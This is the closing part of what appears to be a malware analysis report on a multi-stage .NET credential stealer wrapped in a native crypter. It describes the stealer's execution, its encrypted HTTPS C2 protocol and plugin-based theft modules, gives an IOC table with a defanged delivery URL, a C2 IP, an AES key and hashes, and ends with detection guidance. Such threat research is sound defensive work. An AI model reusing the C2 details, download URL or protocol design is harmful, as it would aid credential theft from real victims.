- Stage 3:
GZipStreamcompression alongsideAes/Rijndael/TripleDES/RC2andCryptoStream— bodies are compressed and encrypted before they leave - Stage 3: a named
Mutexguards single-instance execution - No credential-access code is compiled into stage 3 — no SQLite, no browser/wallet/messenger path, no clipboard or keystroke capture appears in its metadata or its deobfuscated IL. That is a statement about the client binary, not about the operation: the C2 endpoint list names
/browser,/discord,/cryptoand/application, and/pluginis the first thing the client asks for. The stealing modules are delivered at runtime (3.14) - Chunked upload protocol —
/chunk/start,/chunk/data,/chunk/end,/finish— plus a remote file-search facility (/filesearch/req,/filesearch/res)
- Stage 3:
- Execution:
- In-process CLR hosting via
CLRCreateInstance/CorBindToRuntimeEx—_AppDomain::Load_3→get_EntryPoint→_MethodInfo::Invoke_3(3.6) - Seven .NET framework assemblies pre-loaded from
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ WSAStartup(2,2)called by the native stage on behalf of the managed payload- Dispatcher runs on
CreateThreadwith a 180-secondWaitForSingleObject - A native reflective PE loader exists as an alternate path and is unused in this build
- In-process CLR hosting via
- Command and Control:
- Single hardcoded endpoint
https://5.230.201.228:8443, no DNS lookup, no secondary address, continuous retry with no backoff - HTTPS via
HttpClient, TLS 1.2, no SNI, noUser-Agent. JA3c12f54a3f91dc7bafd92cb59fe009a35(3.15) - Check-in is
GET /ping; on a200the client immediately issuesPOST /pluginwithContent-Type: application/octet-stream - Body format:
[16-byte IV] || AES-256-CBC(GZip(protobuf)), PKCS7 padded, key taken from the embedded config (3.15) - Thirteen endpoints in total, including
/browser,/discord,/cryptoand/application— the collection capability is fetched as plugins, not compiled in (3.14)
- Single hardcoded endpoint
- Persistence:
- None observed at any stage. No registry, no Startup, no scheduled task, no service, no dropped executable
The delivery is considerably more sophisticated than the payload’s own tradecraft. That asymmetry — a bespoke native crypter wrapped around a commodity Reactor-protected .NET stealer — usually means the two were not written by the same people, and that the crypter is a service the payload author bought.
5. Indicators of Compromise
| Type | Value |
|---|---|
| Delivery URL | hxxps://abilityindisabilityindia[.]org/rock[.]exe |
| C2 | https://5.230.201.228:8443 — HTTPS via HttpClient, no DNS |
| JA3 | c12f54a3f91dc7bafd92cb59fe009a35 (TLS 1.2, no SNI, no User-Agent) |
| C2 endpoints | /ping /plugin /userinfo /browser /discord /crypto /application /filesearch/req /filesearch/res /chunk/start /chunk/data /chunk/end /finish |
| C2 header | X-Api-Key; bodies are application/octet-stream |
| Wire format | IV(16) || AES-256-CBC-PKCS7(GZip(protobuf)) |
| Config AES key | d96f206f5aa12724875d202df368a8c1adefac20fb57178930189747b9e87262 |
| Build id / campaign | 7894a7389068 / bebe |
| C2 hosting | AS200051, 5.230.201.0/24, VPSLab.cloud (NL), abuse abuse@ghostnet.de |
| Stage 1 SHA256 | 99e390cbadb6065d5ec31f3283440835af2416014b1fac20c78a7d5c5502910f |
| Stage 1 SHA1 | c7967992e8dfc9d4d338346605a164e4a2b75d26 |
| Stage 1 MD5 | 12d8fc4ef7323c29db4ce0326ca76054 |
| Stage 2 SHA256 | 7a13770a490b704abf85ebf4b3981d439a0b57b9e4008376de037f2311bb28e5 |
| Stage 2 MD5 | 1db083f13f9a3809f4b71e64aad6a053 |
| Stage 3 SHA256 | c3c636c6ced39285c9ac0e91e505bc49f8aa4ac5b131546bc76f7fb0a1024017 |
| Stage 3 MD5 | 9de6b0c997bd2ef53c89fa1ee26ef4e9 |
| Encrypted resource SHA256 | 406bab04a0182977fd762c16f88ba32912ee268b8e439efcd4216fe804150344 |
| Host artefact | %TEMP%\xh_om_mark.bin (stage 1 only) |
| Container magic | XHOMEM01 (trailer), inner DF 01 00 |
| Internal entry name | xh_om_boot |
| Stage 2 assembly / MVID | Zajqbcakx, cbf887de-5dfb-4161-a908-cfbe99e203f0 |
| Stage 3 assembly | Wmtyrcay |
| Fake vendor metadata | Wren and Lumen Software GmbH / Scrap for Lists / scrapforlists.exe / 4.0.382.2 |
| Payload seed resource | WAVE/4016 at RVA 0x0ECC18 |
| IAT patch table | RVA 0x0CC110 (VA 0x1407DC110) |
| Keystream constants | 0x9E3779B9, 0x0B171E10, 0x85EBCA6B |
| Resource mixer constants | 0xE49B5DDB, 0xF1F6F7CD, 0x0B11FA6D; seeds 0xCC30B9FD, 0x174DD3F2, 0x29A2C7B3, 0xA8E3FB65 |
| Reactor blocklist XOR key | 0C D3 DF FB 9A 82 |
| Not an IOC | The static import table — rewritten before main (3.1) |
On hunting priority: the file hashes are the weakest entries here, because the crypter is clearly a builder and every rebuild produces a new one. The IP is stronger but rentable. The durable detections are behavioural:
- a process whose own imports contain nothing managed loading
mscoree.dlland the .NET 4 framework assemblies, with no child process created; - an HTTPS connection to a hardcoded IPv4 literal on 8443 with no preceding DNS query and no
User-Agentfrom the same process, matching JA3c12f54a3f91dc7bafd92cb59fe009a35; - a
GET /pingimmediately followed byPOST /pluginwithapplication/octet-stream, to a bare IP; %TEMP%\xh_om_mark.binon disk;.rsrcoccupying >80% of a mid-size PE with entropy near 5 and resource type names outside the documentedRT_*set.
The first and second together are close to unambiguous.
6. Analysis Limitations
Four things could not be settled, and it is worth separating what is a property of the sample from what is a deliberate choice in how it was analysed:
The family attribution is unproven. Nothing in stages 1–3 contains a family string, mutex, or version banner. The profile — .NET, Reactor-protected, hardcoded IP, HTTPS on 8443, zero persistence — is consistent with PureLogs, and the folder this arrived in says so, but consistency is not identification. The handshake has since been captured (3.15) and it corroborates rather than settles: protobuf configuration, a campaign tag, and a plugin-delivery model all fit the family without naming it. A YARA match against the dumped
Wmtyrcayassembly, or a plugin recovered from the live server, is what would close it. This post deliberately does not lean on the name.The C2 protocol was characterised without contacting the operator. Sections 3.14 and 3.15 recover the endpoints, the wire format and the check-in exchange by answering the client locally. What is still missing is the server side: the response format, and therefore the plugins. Obtaining those means either synthesising a plugin the client will accept — which yields your own payload, not the operator’s — or talking to the real server, which tells them the sample is being worked and invites rotation. The second is a decision about burning the sample, not an analysis step, and it was not taken here.
Stage 3’s method bodies remain partly opaque. NETReactorSlayer removed the anti-tamper and fixed 4,559 proxied calls, but could not initialise the method decrypter and reported code virtualization (3.14). The strings were recovered by invoking the decryptors reflectively instead, so the endpoints, the anti-analysis set and the configuration are all in hand — but any logic Reactor moved into its VM is still unread, and a virtualized routine could do things no BCL reference reveals.
One earlier reading has been corrected by this. Section 3.11 established from metadata that no credential-access machinery is compiled into stage 3, and that holds at IL level too. But I drew the wrong inference from it: the endpoint names
/browser,/discordand/crypto, and the fact that/pluginis the first request after check-in, show the collection modules are downloaded per victim. The absence of stealing code in the client is an architectural property, not a limit on what the malware does.The plugins themselves were never seen. Everything in section 4 under Collection describes the client’s capability. What the operator actually deploys — which browsers, which wallets, which applications — lives in modules fetched from
/plugin, and none were obtainable without the real server. Any inventory of targeted software in this family should come from a plugin sample, not from this binary.%TEMP%\xh_om_mark.binwas predicted statically but not observed. The dynamic run started from stage 2, so stage 1’s breadcrumb writer never executed. The static reading ofsub_14072F874is unambiguous, but the indicator is unconfirmed by execution.
One further caveat on the container format: section 3.4 describes XHOMEM01 from the parser, not from a live instance. This build’s payload is a bare PE and the trailer path is never taken, so the entry layout, the xh_om_boot name, and the DF 01 00 compression header are read out of code that this sample does not exercise. They should hold for other payloads built by the same crypter, but they have not been seen in one.